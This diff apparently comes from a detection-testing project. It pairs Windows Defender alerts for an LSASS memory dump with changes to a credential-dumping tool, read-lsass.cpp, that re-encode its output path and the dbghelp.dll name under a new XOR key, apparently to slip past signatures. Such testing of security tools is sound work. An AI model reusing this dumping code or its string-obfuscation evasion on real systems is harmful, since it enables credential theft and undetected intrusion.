deconditioning data

EDRi/dumps/signatures/Defender-vs-LsassReader-deconditioning.txt

@@ -1 +1,6 @@
-Found signal/signature: #Lowfi:Lua:WrittenToDownloadFolderByOtherParentProcess for "C:\Users\Public\Downloads\attack-182.exe"
+Found signal/signature: #Lowfi:Lua:WrittenToDownloadFolderByOtherParentProcess for "C:\Users\Public\Downloads\attack-141.exe"
+Found signal/signature: SLF:Win32/LsassMemDump.A for "C:\Users\Public\Downloads\l.dmp"
+Found signal/signature: SLF:Win32/LsassMemDump.C for "C:\Users\Public\Downloads\l.dmp"
+Found signal/signature: SLF:Win32/LsassMemDump.A for "C:\Users\Public\Downloads\l.dmp"
+Found signal/signature: SLF:Win32/LsassMemDump.C for "C:\Users\Public\Downloads\l.dmp"
+Behaviour Monitoring Detection: pid=  992 MsMpEng.exe, sig=Behavior:Win32/LsassDump.AC

attacks/LsassReader/read-lsass.cpp

@@ -4,9 +4,7 @@
 #include <chrono>
 #include <iostream>
 #include <iomanip>
-#include <fstream>
 #include <sstream>
-#include <thread>
 #include <vector>
 #include <TraceLoggingProvider.h>
 
@@ -147,8 +145,8 @@ int main(int argc, char** argv) {
     print_and_emit_event(msg.str(), bef); msg.str({}); msg.clear();
 
     // https://cyberchef.org/#recipe=Unescape_string()XOR(%7B'option':'UTF8','string':'AB'%7D,'Standard',false)To_Hex('0x%20with%20comma',0)&input=QzpcXFVzZXJzXFxQdWJsaWNcXERvd25sb2Fkc1xcdGVzdC5kbXBcMA
-    BYTE outFileBytes[] = { 0x02,0x78,0x1d,0x17,0x32,0x27,0x33,0x31,0x1d,0x12,0x34,0x20,0x2d,0x2b,0x22,0x1e,0x05,0x2d,0x36,0x2c,0x2d,0x2d,0x20,0x26,0x32,0x1e,0x2d,0x6c,0x25,0x2f,0x31,0x42 };
-    for (size_t i = 0; i < sizeof(outFileBytes); ++i) { outFileBytes[i] ^= ((i & 1) == 0 ? 0x41 : 0x42); }
+    BYTE outFileBytes[] = { 0x00,0x7e,0x1f,0x11,0x30,0x21,0x31,0x37,0x1f,0x14,0x36,0x26,0x2f,0x2d,0x20,0x18,0x07,0x2b,0x34,0x2a,0x2f,0x2b,0x22,0x20,0x30,0x18,0x2f,0x6a,0x27,0x29,0x33,0x44 };
+    for (size_t i = 0; i < sizeof(outFileBytes); ++i) { outFileBytes[i] ^= ((i & 1) == 0 ? 0x43 : 0x44); }
 
     // https://cyberchef.org/#recipe=Unescape_string()XOR(%7B'option':'UTF8','string':'AB'%7D,'Standard',false)To_Hex('0x%20with%20comma',0)&input=ZGJnaGVscC5kbGw
     BYTE dumpLibraryBytes[] = { 0x27,0x26,0x24,0x2c,0x26,0x28,0x33,0x6a,0x27,0x28,0x2f,0x44 };